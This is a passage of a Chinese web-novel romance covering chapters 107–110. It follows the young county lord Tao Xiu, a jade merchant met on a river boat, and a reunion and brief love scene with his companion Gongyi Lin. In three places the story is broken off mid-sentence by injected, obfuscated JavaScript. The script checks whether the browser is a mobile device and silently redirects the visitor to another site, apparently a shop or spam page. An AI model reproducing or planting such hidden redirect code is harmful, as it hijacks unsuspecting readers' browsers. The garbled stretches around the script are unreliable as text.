陶修领着几个人沿河岸披荆斩棘向南,每遇一处支流就目测丈量其宽窄在手札记上一笔。路很难行,即便胡峤在前面斩断杂枝开道,众人的衣裳和脸颊还是被树枝上的尖刺划破,有时又误陷进一处看似干燥的岸滩,半日下来,几人便衣衫不整、头发丝丝缕缕挂在耳鬓。 沿途,江旋一直认真听张城讲述多年来走南闯北的经历,不时问上几句,两人落在后面就像一对出来赏景的恋人。江旋在张城强烈的倾诉欲里知晓他当了几年流民并且在这世上孤身一人,还知道他对男人选择当赘婿一事有巨大的包容心。 倾诉的人有意剖心挖肺,结果江旋盯着前面对湖泊极为感兴趣的陶修,遗憾地想:“他现在的身份,恐怕不做赘婿也难靠近。”这次来,她发现陶修清冷性子给人的疏离感比几年前更甚。 至晌午时,一伙人寻了块开满黄色小花的草地坐下休息、吃东西补充体力。张城把身上江旋带来的包袱取下,兴奋地等着她打开:“你带了什么好吃的?” 周石也涎着脸凑过来等着。 包袱打开,里面还有一层,打开后露出十来个光洁圆润的鸡蛋。周石哈哈大笑一声,从怀里也掏出几个蛋说:“家里的也给我准备一样吃的。” 胡峤也一声不吭拿出两颗蛋往刀柄上一磕,几口就吞掉了。 看来走远途的人想法都一样,唯有陶修掏出两个馒头,很不合群的要众人同享。 “我还带了小菜,咸津津的好下饭。”江旋把腌过的韭菜放在中间,又把蛋分出去。 陶修把鸡蛋放在掌中来回搓动,那年和公仪林去大庙时,富家公子带的也是几颗蛋,他噎得差点把眼珠子都挤出来,连爬打滚跑去河边喝了几口脏水才缓过来。正想着那件趣事,忽见张城紧捂胸口在那打嗝,眼睛瞪得比平时大两倍,藏在腮颊的一口蛋还舍不得吐掉。 陶修迅速走过去给他拍背,笑话道:“别给一颗蛋给噎死,传出去有损你名声。” 张城挺胸吸气缓了半天,一个接一个嗝打的他无法顺畅地说话,江旋抓住一把青草早已笑弯在他身旁,从包袱里拿出一只水袋递给他:“快喝水咽下去。” 羊皮水袋上套了个丝绸的袋子,一看就是她的私人物品,张城捏着水袋问:“你肯——鹅——给我喝——鹅——啊?我能——鹅——喝啊?” “快喝,小心真噎死。” 待他彻底缓过来后,把小巧的水袋往怀中一收,笑道:“上面沾了我的口水,回去刷刷再还你。” 不知别人有没有听见,江旋当即面红耳赤,背过身没再理他。 大伙躺在草丛里晒了一个时辰太阳,直晒到脸冒油光才慵懒地爬起来继续南下。眼看白日余下的时间不够返程,张城才提醒陶修必须回去了。天光已把几只小舟的影子拉长在河面上,如果凭双脚原路返回,没走到栓马处天就大黑了。 “喊个船家搭一程吧。”周石嗓音雄浑,从远处招来两条船,又皆是往南的,并不顺路。 107.你真的喜欢他 陶修对几人歉疚道:“可能要害你们城外过夜了,下回提醒我注意些。” 他们在泥潭似的岸边又往北走过三五里,通红的夕阳渐沉,一艘船在平静的水面上缓缓荡过来。船头立了一个中年男子,此人身穿墨蓝直裾衣裳,软滑的面料将他宽厚的肩背勾勒的雄浑威武,他对岸边泥泞里深陷的几人抱拳朗声道:“几位是不是要搭船?” 陶修拔出淤泥里的腿向前一步行礼:“我们欲往北,看先生行船的方向往南,可能不同路。” 中年男子见岸上几人相貌都不俗,挺拔的挺拔,魁梧的魁梧,必不是平常人,略一沉思,爽快回道:“某是趁此暮春在河面上闲游之人,没什么正经事。送你们一段路也耽误不了事情,要至哪里下船?” 船的两端各立一位撑杆的船夫,船舱内还有饮了一半的酒水和刚画出远山的半幅画,看来确实是个游山玩水的人。陶修和几个属下洗净脚、整理好衣裳才过来与船主打招呼。 “敢问先生是哪里人,姓甚名谁?” “某姓何,名姜,住那里。”他遥指西北方,那是越过一片田野后的周的地界。 几人沉默一瞬没敢随意开口。 何姜笑问陶修:“我见你们几人随身携带兵器,是官家人,还是某大族人家的部曲?” “我们都是漳南县人,在县署做事。”陶修没有完全隐藏身份。 船在水面上缓缓调头,夕阳把河面照的金波万里,陶修与何姜并立船头,欣赏两岸辽阔的田野,彼此预言几句今年收成一事。 这时,一个船夫为躲避前面飘流过来的粗木,突然撑杆将船头向左大幅度偏过去,满船的人,唯有江旋和胡峤未站稳险些摔倒。在船摇晃的一瞬,何姜本要出手拉陶修一把,却发现这个年轻人的双脚如夯在船板中一样,身子稳如泰山,他又看向另外几人,皆是定力不一般的人。 何姜是个游侠般豪爽的人,做玉石生意,广结好友,闲时常约友人游湖登山,也会画几幅拙作打发时间,从陶修上船到下船这段时间内,两人就着通红的晚霞谈笑风生。何姜说起做生意的种种趣事,从玉石生意起家,再到去过突厥卖过一块上等好玉给王廷可汗的经历,陶修则编造在大江上捕鱼的过往,再到现在给漳南县尹做护卫一事,二人似乎无话不谈。 陶修不大的年纪显然不能在这个走南闯北的中年人面前侃侃而谈,多数是静听何姜非同一般的惊险经历。至天黑下船时,两人已成相见恨晚的兄弟,客气地留下“若有机会”便来拜访的住址。 临别时,何姜对陶修一帮人热情相邀道:“漳南和寿阳虽隔河敌对,但都是那帮无所事事的人无端划分的界线,并不妨碍我们百姓来往,几位朋友随时来我府中做客。” 陶修道:“何大哥说的是,倒回二十年前,漳、寿两地本是一家,虽为一条河阻隔,但往来方便,光凭一道禁令如论如何都断不了两地百姓一衣带水的联系。后会有期。” 直到小船消失在暮色里,他们才折回身到清晨拴马处找马。 转眼江家的几个人来此已有一个多月,在五月陶舒生辰这一日,陶修操办了一场难得奢侈的宴席,来吃饭的人还是平常聚在巴掌大庖房喝汤的那群人,唯一不同就是这次宴席上各人穿着比平常讲究了些。周石之妻程氏把一对儿女打扮的花枝招展,一手牵一个喜气洋洋走进门,看她表情就知今日带来的还有绝对惊人的消息。 都是熟悉的人,宴席上气氛愉快,众人把江锦意当作逗乐的主角。当江锦意轮到她姑姑怀里抱着时,程氏立即把目光对准这位正值年华的姑娘,她听到过一点点关于这位姑娘来此的目的,故而在江旋和年轻的城主身上来回打量,借着两杯酒带来上来的多话习惯,开口问江旋:“江姑娘今年多大了?” 放在两年前,这还不是致命问题,但对于现在已年华双十的江旋而言,无异于当众人的面揭她的短,她装作没听见,朝侄女口中塞了半边小肉丸。 “和城主果然是郎才女貌。去年我还问过城主和张兄弟成家的事,张兄弟说城主已有心上人,这么看来,我还真找不到比你更配城主的人。”程氏坐在江旋右边,说话声音不大,最平常不过的家常话,但对面的陶修和张城听的一清二楚。 几句话听得江旋彻底心碎,她才知道陶修已有心上人,更清清楚楚知道他的心上人不会是自己,突然感觉这次在父亲面前恳求六次才得到允许前来漳南的行为很幼稚可笑。 陶修不想因误会而影响姑娘家名声正要辩解时,江旋大度一笑,把侄女抱高高,在侄女可爱的笑声里,她说:“周大嫂误会了,我与城主是朋友,是同乡,是亲戚。” “原来是我弄错了,对不住姑娘了。” 张城察觉到江旋笑容下的勉强,就把话题往自己身上引,高声问:“周大嫂,我在他们当中最大,先紧着我来,别忙活不该忙活的人,上回你说把左邻右舍都熟悉了就给我寻一门亲,都半年了啊。” 周石那虎头虎脑的小闺女边嚼着肉边抢着替她母亲答道:“我娘来之前,刚从那家出来,要给你们说和咧。” 程氏因刚才的误会不敢再开口,不知又会牵错哪两只鸳鸯,歉疚地笑道:“没有没有,都是邻旁在一块说着玩。张兄弟人才出众,我一时间真挑不到好的人物。” “我要求很高的,必须要像江姑娘这样的人物我才同意。大嫂多费心了。” 程氏经他不知是有意还是无意的提醒,心里忽然一片敞亮,但看见江旋抱着侄女从座席上下去,更不敢轻易提起了。 屋外月华如水,初夏的夜风夹着海棠花的清香拂过面庞,柔和舒心。江旋侧坐在廊栏上紧盯扶栏杆学步的锦意,间或抬头凝望将圆的月亮,心中怅惘难过。她甚至不清楚自己内心是为此行的难堪而难过,还是因为与陶修之间的不可能而怅惘,两者都令她生出立即就要回汝丘的念头。 “江姑娘用带孩子的借口在此独坐,是要躲周大嫂的聒噪啊?” 江旋闻声刚转头,张城端着一杯热茶递给她,“刚才见你和陶小妹喝了好几杯酒,再喝杯茶缓缓。” 她接了茶道声多谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“笑了就好,何时是你生辰,我突然想在像今晚一样明亮的月亮下跟你品茶聊天,没有其他人,连这个小家伙都不要,行不行?”两人同时看向江锦意,才看见被忽略的小家伙背对着二人蹲在地上拼命往嘴里塞泥吃。 “锦意——”江旋又一次抱起侄女,拿她作拒绝回答刚才问题的挡箭牌,要进屋时,回头对张城嫣然一笑:“若我生辰那日在屋外赏月,只需两杯酒就冻死了,可不会有好雅兴。” 张城对此回答很满意,毕竟江姑娘已说出了她出生的季节,“还真是个可爱的姑娘。” * 五月中旬,陶修又收到一封从建康送来的信函,信写的极短,要告知的信息量很大,他几乎能从字里行间看见写信人不可遏制的怒火,开头一改往日亲切且私密的“康乐”这一称呼,直接冷嘲热讽的下笔叫他“陶城主”。 “陶城主,别来无恙,我于六月中旬到漳南,将亲眼见识一下放归山林的鸟雀会野到何种程度。”信的末了依旧不是他的私印,还是那枚固执且锋芒逼人的右卫大印。 陶修又一次体会到期待某事时的充实感,上回是陶舒,这次是公仪林。县尹的身份忙的他没意识到自上次一别竟已过去一年多了。这段离别不能相见的时间里,他收到不少公仪林利用官府各驿站送来的信,而他回复了了,如果没记错,应该只有三封。 至于是什么原因导致他仅回三封信已不重要,这整个晚上,陶修都伏在书案前深思将功补过的方法,那封怒气满满的三言两语不得不让他认真对待此事,好在半宿过来,确实想到两个不错的补过方法。 108.突然袭击的人 五月刚过小满,田里的麦子黄的很快,一天一天颜色,周石将亦农亦兵的青壮年人集结起来做收割庄家前的最后一次调练。经他严格训练过的一千多人集中在校场,个个身彪体壮精神抖擞,方阵随周石手中的旗帜不停变换队列,整齐归一,军姿昂扬。 就在校场点兵这一天,有人来拜访周石。 站在点将台上的周石把拜帖递给身边的陶修,疑惑地问:“我从未结交过这样讲究人,来就来,还递上拜帖,你看看是什么人?” 陶修展开直接看向落款人处,竟是一个月前搭他船的何姜。 “你给何姜留了我的住处,怪不得。” 那日在船上,陶修对自己的身份有所隐瞒,此时这所谓的“兄弟”登门拜访,他不得不坦诚相待,遂走下点将台,问递拜帖的小护卫:“他人在哪里?” “在校场外一里地的地方等着了。” 校场纪律严格,闲散人员不得靠近,围墙一律用粗栅栏围起来,陶修透过栅栏的间隙看见远处何姜悠闲自得的背影,他负手而立,仰头打量这个陌生的地方。听见脚步声从后而来,何姜忙转身,在看见陶修身着坚硬的甲胄时明显吃了一惊,随即露出老友相见时的笑容,信步迎上去,施礼道:“不知我还能不能称你一声陶兄弟?” 陶修还礼以示愧疚,“当日与先生不熟,未敢告知身份。我实际是漳南县尹陶修。” 何姜暗暗震惊,没想到今日竟轻易见到漳南城主。他不卑不亢,从容地躬身再拜时被陶修拦住,“何先生切莫拘礼,你我都以兄弟相称了,还当我是搭船的陶修。” “只怕我想,却不敢拿你当兄弟啊。” 陶修爽快笑道:“哪里的话,走,到府上坐坐。”他侧到一旁替何姜引路。 此时校场突然传来一阵金钟清脆响亮的击打声和将士转换队列时撼天震地的狂吼,何姜停下脚步盯着远处栅栏内的将士感叹不已:“其声有力,响遏行云。早就听闻漳南新上任的县尹训兵秣马,事必躬行,与民打成一片,只是没想到县尹竟是如此年轻的少年人。” 他转首对陶修道:“我鲜少来漳南,不如就陪陶兄弟在这外面四处走走,不必到府上打搅了。” “这怎么行,一路过来连杯茶都没吃,就在前面,并不远。” “真不必客气。”何姜从袖中取出一个锦盒递给陶修,笑道:“来之前不知你的城主身份,在家中收拾旧物时发现了这块玉佩,希望陶兄弟不要嫌弃物贱。” 陶修双手接过盒子将之打开,里面是块清透柔和的白玉佩,缀一条葱绿色的穗子,他这个不识货的也知此玉佩价值不菲,合上盒盖后推辞道:“太贵重了,陶修不敢收。” “我就是做这生意的,说句实在的,类似的玉家中还有一箱呢。” 何姜执意要在城中的集市上走走,两人沿途说了不少家常话,何姜对校场训练百姓一事挺感兴趣,提起前任县尹彭枝礼只懂豢养部曲为己所用,毫无远见的人不配坐到他所坐的位置。 陶修不便将城中的事当作二人间的谈资,还像先前一样以静听为主。两人转过一圈后又回到来时的拴马处,何姜上马走的时候叉手道:“陶兄弟如不嫌弃,我还会再来拜访。” 何姜走后,陶修把白玉佩拿在手中摩挲,不禁想起三四年前还在玉河村做乡野少年的自己,当时怎能想到自己会有今日,从来到漳南开始,就有许多富贵大户登门拜访和赠礼,他虽都全部拒绝,但身份转变给他的悬殊感一时还不能消失。 近来县署的人常看见城主大人盘坐在案几前雕一块橡木,几天下来,雕刻的东西还没出现形状,他那股认真的神情挺像个天真的孩子,和站在点将台上观摩队列时昂扬肃然的模样判若两人。他们还发现城主练字比先前更勤快,就是追求书写完美度时太过苛求自己,为求质量,手里的笔生硬的像把刻刀,笔力穿透纸背,坐姿也明显不够端正,后来他又照着兵书学写蝇头小字,十几天下来,书案上已躺了一沓练习过的字。 橡木的形状渐渐出来,他们偷窥到那是个衣袍被风扬起的年轻人,身披红色披风,左手负在身后,眺望远方,雕刻的手艺还不赖,很像店铺等着出售的摆饰,城主给雕刻打磨时小心翼翼如护珍宝。 张城一眼就看穿雕刻的人是谁,看破没说破,倒是周石随口问城主:“我没见过你有红色披风啊?” 书案的一张纸上写满公仪林来之前的日期,就寝前陶修认真划去每一日,六月中旬,渐渐靠近。他每日在忙碌中按捺焦躁的期盼,迫不及待要带公仪林走遍他治下的漳南城的每一处。 五月廿八,那日午后的天气很凉爽,初夏的熏风柔和舒适,陶修约张城、周石、江良等人在校场射箭,江旋也带着侄女坐在树荫下观战,她意在看堂兄如何输给这帮习武的人。 三支箭射下来,江良就惭愧地退出比赛,声称不愿受辱,加入到观战一列中。 张城欲在江旋面前表现非同一般的射箭本领,兴致饱满高涨,为了炫技次次两支箭同时射出,幸好刻苦磨砺出的本领没给他丢面子。 陶修的左臂基本恢复正常,开弓拉箭的力道、动作又稳又慢,和张城的急躁对比明显,箭无虚发,搞得张城不停朝他挤眉弄眼要求他收敛些,还贴近了威胁:“不是你显摆的时候,小心我给某人告状!” 校场赤膊习练本领的将士很多,个个挥汗如雨,浑身油光滑亮,此时都凑在一旁围观城主的本领,每中靶心一次,校场就扬起鼎沸的喝彩。 陶修使一把髹了黑漆的弓箭,立定双足扣上弓箭,瞄准靶心,见张城抓耳挠腮的急样,他准备把这支箭射的再准一点。 张城突然走到他跟前沉声禀报:“有人来了。” 好谨慎的语气,陶修立即收了弓箭朝大门方向望去,但围观的将士较多,片刻间没能从人缝找到目标,便把身体转个角度面向大门。 张城挥手令人群向两边散开,陶修从散开的缝隙里赫然看见七八匹马闯进视线,为首之人高坐马上,昂扬高傲目空一切,他在看见人群里的陶修时,才不情不愿地跳下马,拿鞭阔步向前。 看见公仪林的刹那,陶修的胸口因兴奋震惊给凝滞的发疼,深吸一口,杵在原地愣怔许久才晓得迈开步伐上前迎接。 被无端冷落一年多的公仪林带着“盛怒”前来,已几次酝酿见面时要爆发的怒气,直觉告诉他,这种“酝酿”无非是徒劳无功白费力气,面对陶修时的那点出息他还算有点数。虽然没出息,但这一年来陶修连信都不想写的行为真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321323|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的过分,无论如何都要端起架子晾他一下。 闯进禁地校场,公仪林以身份压制这里的小卒不让通报,要以迅雷之势力震漳南城主。 果然事与愿违,所有装出来的怒容都在见到陶修的一瞬间烟消云散,说起来连生气都有调情的意味。公仪林停下脚步用最后的倔强等着陶修主动走来,高昂着头,睨视来人,阴阳怪气地抬手行礼:“陶城主,多日不见,好生自在。” 陶修见他面露不悦,立即驻了足,一言不发,一动不动。 公仪林的目光在陶修身上慢慢沉沦,曾认识的小军户好像变了。 此人几乎褪尽少年人的稚气,脸上更具沉稳刚毅,他喜欢青色,一条朴素简单的靛青腰带把青色直裾收紧,勒出修长有力的腰身,衣裾左下用金线绣一片翩跹的蝴蝶,轻盈柔软凌空飞舞,绕得公仪林眼花缭乱。 陶修把弓箭交到身旁小卒手里,掸掉双掌的尘土,因射箭而绑成的文武袖给他不同的气质,文袖不失儒雅风流,武袖不乏英气张扬,不到两年时间,一个人竟能脱胎换骨变化如此之大。 公仪林也不肯上前,伫立原地定定地等着他,辨认他,还有一股被及时压制下去想要去否定他的私欲,此人已完全不是曾经他还能掌控的人。陶修的变化正为他迟迟不去江陵寻身世找到了借口,须臾间又换过一种想法,为此人与自己情投意合而庆幸,这是独属他们之间的秘密。 公仪林突然很矛盾约定的两年期限将至。 “离六月中旬还有很多天,为何突然就来了?”两只手握在一起暗下较量,把对方的指骨勒到凸起。 公仪林的目光一转不转,用不大却容易让别人听见的声音回道:“我知道,但我更想见你,数着日子,前天,终于数烦了。” 这句毫不收敛的话只有张城听懂了,其他人看来无非是旧友见面互诉衷肠,他们更好奇这个被侍卫簇拥起来的年轻人是谁。通身比当空的日头还耀目的年轻人往跟前一站,竟把他们仰慕的城主都比下去了。 公仪林不肯松手,等着陶修回答他,随便他说什么,他都想听,其情深意长的神态都不给张城和周石上前拜见的间隙。 陶修险些沉醉在他如深潭的目光里,为避免在众人面前失态,躲开公仪林的目光、抽出手,在人群里逡巡一圈,视线落在不远处树荫下,“你等着。”他跑到江旋面前一把掐起锦意,急急对江旋道:“来了一位汝丘同乡,江姑娘,要不要一起见见?” 他把锦意抱在怀里,又领着江旋从树荫下缓步走来。远远看去,简直是个令人羡慕的其乐融融的三口之家。 像有一道天雷滚滚而来,劈的公仪林瞳孔震颤,步伐不稳,两年不到,这是连孩子都生了? “谁能扶我一把?”他哼哼一声。 司子心灵感应,走上前托他一把,“公子先别乱了阵脚,看看再说,我们来的人多,打到他给你解气为止。” 别说公仪林误会,连司子看见一家三口迎面走来的神气样都两眼一黑。他替公子不值,这一年多来公子思念成疾,好好一个人愣是给相思病弄的凄凄惨惨,三封漳南的去信宝贝似的在枕头下压了一年,最后落得这被抛弃的下场。 这姓陶的果然不是好东西,忘恩负义。 109.旷野的打滚滚 陶修先侧身把后面的江旋介绍上前:“槐序,这位是桃花亭的江旋,能不能记得,江家?”这时,他注意到公仪林身后还站着绒润。 当然记得,当年江家要招赘陶修的行为还给他气得不轻。但此刻,公仪林冷汗涔涔,勉强挤出笑意,“我记得江姑娘,不知江姑娘能不能记得我?” “记得,故意绊倒我的公仪二公子,我绝不会忘记你。”当初在陶修家中,公仪林突然伸脚绊倒她的仇恨可不容易就解了,“我一直想问你,那一脚绊子是不是你故意的?” “是,我故意的,当时就想捉弄你一下。”这回答有气无力,哪还有心思跟她贫嘴,说不定人家是正经“陶夫人”咧! 陶修急不可耐要显摆江锦意,笑着斩断两人对话,“等回去,你们有的是时间争论当年的误会。”他捏捏孩子的脸洋洋得意地问公仪林:“像不像我?” 公仪林不近人情地扫了一眼他怀里的孩子,“谁的?”假如不是他想听的答案,不在乎给今日的校场来场血雨腥风。 “小舒的女儿,我的甥女江锦意,像不像我?”陶修还在天真的炫耀。 公仪林伸出劫后余生抖动不止的双手接过孩子,把近二十年来对女子的第一次夸赞给了江锦意,“她真是个美人。” 难得如此真诚珍贵的赞美并没赢得“美人”青睐,孩子在他怀里又哭又蹬。 一众人回县署的路上,陶修让周石安排长途跋涉来的护卫和唯一的姑娘绒润下去休息,他则问公仪林:“你要是还有精力,我想带你出城看看?” 公仪林欣然同意:“正值收割季节,我也想到田间转转。” 一直将陶修的安危当作己任的张城实在找不到跟随的借口,只得叮嘱他小心谨慎。公仪林拉着马辔转头笑道:“晴天朗朗,张城你太过谨慎了,放心,你家陶城主的安危包在我身上。” 两个意气风发的年轻人飒踏流星拍马向城外飞驰。熟透的麦田被切割的方方正正,在阳光下呈一片金色,绿意盎然的树柳掠身而过,鸟声啼鸣,柔和的风里有这个季节的宁静祥和。两人如回到儿时偷马外出的那次,不管前路如何弯曲坎坷,一往直前。他们疾驰狂奔、策马扬尘,他们潇洒恣意、诗酒年华,是最得意的年纪,也是深切期盼后的重逢。 他们在漳水河畔下马,水面波光粼粼,河水澄清且涟漪,岸边绿树成荫,四周杳无人迹。风吹起衣裳轻薄的一角,鬓发柔软凌乱,陶修远望向南静静流淌的河水,轻声道:“像不像玉河村的清江河?槐序,你能来太好了。” “不像,清江河更清。”公仪林的手搭上他的肩头,沿着颈部向上寸移,虚虚痒痒终于摸到他的耳朵,轻轻捏住耳垂柔声道:“来之前我很气你。” 陶修转头问:“因为我没写信?” “但是我更想你,你的错就不值一提。” 他的手指又沿着陶修的脸颊继续占领,触碰星河流萤一样的双眼。陶修闭上双目感受他的指头在眉毛上一下一下温柔的描摹。 “平常,我忙的很。” “忙着和他们在校场射箭,都没有时间给我一封信。” 陶修攥住他不知满足在脸上来回游走的手,睁开眼解释道:“我写了,只是没时间着人送去,不想你我二人的私事动用官府的驿站。” 公仪林气息渐渐变重,已不在乎他的“狡辩”之语,河面的波光把他一侧脸颊照的清晰透亮,目光渐醉,指头抚过陶修的唇,摩挲许久,贴上他的耳畔呢喃一样的声音:“就在这里行不行?我等不到晚上。”体内欲望巨兽咆哮撕扯,与他自小所领受的礼义廉耻相搏斗,胜负如何已能从他的气息间觉察,仍旧用最后一点清明理智自我达成协议:“要不还是等晚上吧。”泄气似的呼出一口气。 陶修绝对能掌控此等局面,这个从小就像小弟一样仰慕他的人,他能掌控的游刃有余,看着他在情欲中凌乱迷途,有种得胜的满足。陶修把公仪林的头按过来,贴上他的唇轻吻一下,抬眸望着他,用战场上拔剑时一样镇静的口气说:“天大地大渺无人迹,此间只有你我,就在这里有何不能?” 得到允许的公仪林再也忍耐不下去,一把将他推入蓬松而深邃的青草丛,他展臂倒下,发带随风而起,衣袂翻飞遮住脸庞,在空茫的视野内感受天旋地转。公仪林一把托住他紧实有韧劲的腰,两人同时倾倒在草上,激漾起一圈绿波和炸出草虫三五只。 这是一场久违的漫长缠绵的过程,是少年之间第一次毫无芥蒂毫不保留的奉献身体,以占有对方的身与心为目的,极情尽致、缠绵悱恻。 夕阳余晖洒在头顶的苦楝树上,洒在身旁簌簌响的青草上。 他们枕着臂弯闭目休息,仰望头顶的枝杈和晚霞满天的傍晚,陶修突然翘起嘴角笑了一声,侧过头问他:“那年汝丘城门外死了一个拐子,你去看了?” 公仪林对那件事印象并不深刻,回想很久不知他指的是哪件事。 “有人给尸身盖一支苦楝挡住他脸。” 刚提醒至此,公仪林一下撑坐起来俯视他,笑问:“你也在人群中?我们那时候就见过一次?” “用苦楝盖住尸身的人,你嘲笑了他。今日来看,你没有嘲笑错。” “为何?” “因为那个拐子偷了替他遮面人的人生。” “你是说替他遮面的心善小孩是你,你是被他拐卖过来的?” “我也是才从小舒口中知道是他。” 公仪林面色沉了一瞬,几不可闻的叹口气,转移话题说:“那人确实该死。上天注定我们二人该在一起,你说我该不该感激那拐子?”伸手抚顺陶修鬓角汗湿的碎发,俯下身轻吻他的嘴角,忍不住笑道:“没想到那时候我就见过你,还好你无视当年东游西荡到处闯事的我,不然我保不准不会抽你一顿。” “又抽我?为何不是从那时起就对我……” “对你什么?” 陶修笑而不答。 公仪林翻身压到他身上,右手慢慢爬向他腹部越发往下,逼其回答。 “公子,你从何时对我有图谋不轨的心思?” 公仪林重新躺到他身边,扯过陶修一只手抓在手中,细想了片刻,“我很想说是十岁第一次见你的时候,恐怕说服不了自己,毕竟那时候实在太小。实实在在吓到我的确实是那条龙舟上,我想亲你,就像现在这样,但是不敢。”他又掰过陶修的脸狠命亲一下,就像刚回到手中的珍宝,把玩无足。 静躺片刻,公仪林又发问:“江旋是怎么回事?她来漳南做什么?” “小舒一家上个月来我这里,她便一起跟着来了,女儿家困在闺阁闷的慌,出来散散心都挺正常。” “呵,挺会善解人意。你差点成江家上门女婿,要是给我发现你们关系不一般,我可就把袁姑娘也带来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暮色四合,最后一缕紫色霞光隐藏地线之下。公仪林拉了陶修一把,“醒了就抓紧回城,不知陶城主给城门守卫定的规矩严不严,还能不能进得去。” “他们识得我,不会让你在外过夜。” 从草丛爬起来,两人才发现这场无度的贪图后各自形容不整,头发凌乱,彼此瞧着笑了一阵。公仪林再次使出没有司子也能自力更生的本领,解开陶修的发带,居然也能用手指把他的头发梳顺再绑起来。 “其实不必费事扎起来,晚上我还要再给散开,你方才迷离缠绵的模样深得我心。”公仪林手里做着一本正经的事,嘴上却挑逗促弄。 不过陶修有种将他粗俗劣质的言语净化一遍的本领,“是吗?这么能耐?”说这话的时候神情平淡,眸中有干净的浅笑,一下就将公仪林的污言浊语洗刷的干干净净,不带一点情色。 “有没有能耐你最清楚。以后少去看你师父,看看他都把你带成什么样了,我再不来拯救,永定寺直接可以请你去当主持?” “嗯,多谢救命恩人。明日跟我去见见他吧,上次还是一个月前跟小舒去过,他老人家现在年纪上来话也渐渐多了。你这次能待多久?” “十天半月吧,若你待我不够热情,待上一个月也成。” 陶修转头笑道:“既如此,回到城中就别跟我说话了。” “绝无可能,宁愿溺在一天的醉里,也不要你对我三十日冰冷。” 110.你还真不手软 天已黑透,接风洗尘的人在县署门口张望数次,直到看见二人下马,司子和张城才定下心。 县署官员间的相处氛围自陶修上任后变得十分融洽,至少表面上如此,众人都知道城主出身卑微,竭力想打破或平衡文武官员间无可动摇的尊卑有序关系,尽量使这些出生不同的人有块平等的竹席坐着。 在此种氛围下,公仪林带来的手下及陶修平时擅用的几人,包括阿八、胡峤,在院中几盏灯笼的光影里喝的酩酊大醉,地域不同也不影响他们划拳、猜谜。 宴席上,勘破玄机的张城把精力分成两半,一半到处搜寻江旋的身影,一半用来偷瞄陶修和公仪林。他惆怅啊,这个不能与人分享的秘密堵的他浑身不自在,做贼一样打量那两人,他们放在平时最正常不过的一句劝酒在他看来都像是调情,随意一句交谈和笑意都像是有预谋的暗示。一顿酒喝下来,张城喝的闷闷不乐,姓公仪的人,把他出生入死的兄弟给抢了。 张城踩着几欲歪倒的步伐走到江旋跟前,醉眼朦胧地蹲在她脚边,先是笑两声,开始自言自语道:“前年我在这里杀了很多敌人,兄弟们伤的伤死的死,只有我能走能跳,那天,天气又冷又干燥,我就站在此处,县署后院的一株桂花前,想到我在这世上一个亲人都没有,突然觉得活着没有一点奔头,空虚到极致,那一刻我很希望能死在一堆兄弟当中。后来陶城主说我得有个家,我真以为自己缺少一个家,就到处托人给我找亲事,稀里糊涂看了很多很多个,你不许笑话我。” “我怎么会笑话你,你们都是卫国的好将士。” “后来,我一个都看不上,肯定也有看不上我的。” 江旋很爱看他微醺后大胆的模样,话也很多。 “我以为我要孤独终老了,直到那天,突然看见一个姑娘。” “谁?” 江旋眼眸晶亮,扯了下他的手臂,希望他继续说出她期待的话。 这时,奉命前来照顾张城的绒润突然走到二人面前,一把将张城从地上拽起来,许大的力气竟不像从她娇小的身体发出的,绒润欢快大胆的性格像与张城认识:“为何喝这么多呢?不能再喝了,该去醒酒歇息了。”绒润忽又发现这个赖在地上不肯起来的男人脚上熟悉的鞋纹,是她和冰清玉三人合绣的银色三叶纹,疑惑道:“这是我做的鞋子。” 江旋当即愣在原地,原来这个姑娘就是他“突然看见”的那个人。她头也不回走进后院,暗下决心,十日内必回汝丘,再也不在此伤心地徘徊。 张城听见绒润那句话后彻底酒醒,混乱的头脑尽量整理出清晰的脉络,“你是?就是那个……”没敢说出口,此事万万不能让江旋知道。 绒润稀里糊涂跟公子来漳南,只当是沿途要照顾他的起居,并不知道此趟来还有其他目的。 话说陶修那边,当公仪林看见张城歪七倒八走下宴席时,突然想起站在身后的绒润,轻声吩咐道:“刚走下去的张巡检,你去照顾他几天,若觉得他人好就跟我讲一声,若是人品不好,也如实回复我。” 待绒润离开许久,陶修才想起当时在信中乱点的鸳鸯谱,这才是好心办错事,准备明日再阻止此事继续发展时,张城、江旋的误会已生成。 这一夜,公仪林和陶修兄弟二人对床夜雨,直叙到夜空的星辰稀薄淡去、东边的鸡啼喊出第一声,才发现天要亮了,索性都从床上爬起来不睡了。 县署的大院有口井,平常吃水都是从中取用。他们俩每人抱只木盆踩在长满青苔的青砖上,穿着雪白的里衣用清凉的井水冲澡。 陶修一盆水从头上浇下去,甩甩头发上的水珠笑问公仪林:“我有块地,这两日就要收割了,去不去?” “当然去,我得看看城主大人种地水平如何,将来能不能养活我。”目光扫过陶修被清凉的井水浸湿的身子,白色里衣紧贴肌肤,勾勒出修长的手臂、袒露结实的胸口。 公仪林喉咙干涩,忍不住往陶修身边挪近几寸,拉过他的左臂将袖子撸上去,指肚抚过利器留下的疤痕,“我都忘记问你这条手臂恢复的如何?”目的不纯的把整条膀子都蹭个遍。 陶修反手一拧,把他一只手麻花似的别到背后,压低声音道:“说话归说话,你这只是手要干嘛?不怕有人看见。” “你真不手软,”公仪林忍着手上的疼,大声道:“我就要让所有人都知道。” 陶修又加重力气,听见骨节发出咔嚓一声,“你敢?” “好了好了,我知道你这只手痊愈了,小弟请哥哥手下留情。” 